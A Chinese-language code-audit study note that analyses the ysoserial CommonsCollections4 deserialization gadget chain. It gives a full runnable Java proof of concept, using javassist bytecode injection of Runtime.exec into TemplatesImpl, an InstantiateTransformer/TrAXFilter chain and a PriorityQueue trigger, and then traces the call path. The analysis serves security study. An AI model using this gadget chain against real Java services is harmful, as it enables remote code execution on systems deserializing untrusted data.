Java代码审计学习笔记之ysoserial分析(五、CommonsCollections4利用链)

1.CommonsCollections4利用链分析

这个利用链和前面的相比就真的没什么不一样的了。其实就是CommonsCollections2把InvokerTransformer换成了InstantiateTransformer。其他基本上都是一样的。从ysoserial提取出来的测试代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CC4Test {
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    public static void main(String[] argv) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException, InvocationTargetException, NoSuchMethodException {

        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        TemplatesImpl template = new TemplatesImpl();

        //生成一段恶意的_bytecodes
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(CC4Test.StubTransletPayload.class));
        final CtClass clazz = pool.get(CC4Test.StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
        clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
        final byte[] classBytes = clazz.toBytecode();

        //设置templates的_bytecodes
        Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(template, new byte[][]{classBytes});

        //设置templates的_name
        Field filedName = template.getClass().getDeclaredField("_name");
        filedName.setAccessible(true);
        filedName.set(template,"jus4fun");

        //设置templates的_tfactory参数
        Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
        filedtfactory.setAccessible(true);
        filedtfactory.set(template,transFactory.newInstance());

        Class[] paramTypes = new Class[] { String.class };
        Object[] args = new Object[] { "jus4fun" };
        InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);

        ConstantTransformer constant = new ConstantTransformer(String.class);
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);

        Field iConstantField = constant.getClass().getDeclaredField("iConstant");
        iConstantField.setAccessible(true);
        iConstantField.set(constant, TrAXFilter.class);

        Field paramTypesField = instantiate.getClass().getDeclaredField("iParamTypes");
        paramTypesField.setAccessible(true);
        paramTypes = (Class[]) paramTypesField.get(instantiate);

        Field argsField = instantiate.getClass().getDeclaredField("iArgs");
        argsField.setAccessible(true);
        args = (Object[]) argsField.get(instantiate);

        paramTypes[0] = Templates.class;
        args[0] = template;


        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);

        //反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = (Object)objectInputStream.readObject();


    }
}

运行后正常弹出计算器,命令被执行。整个反序列化过程如下:

返回的是一个PriorityQueue实例的反序列化数据,首先进入PriorityQueue.readObject,这里它会调用heapify()

heapify中调用了siftDown()。

siftDown里又由于我们设置了comparator,所以它又调用了siftDownUsingComparator

而这里面调用了我们设置的comparatorcompare方法。我们传入的comparator代码为new TransformingComparator(chain)。查看其compare()方法如下:

可以看到又是熟悉的transformer.transform。而transformer是我们设置的ChainedTransformer。跟前面一模一样,又是使用InstantiateTransformer调用TrAXFilter的构造方法,从而触发恶意的TemplatesImplnewTransform方法执行命令。这条利用链感觉就是CC2和CC3的结合。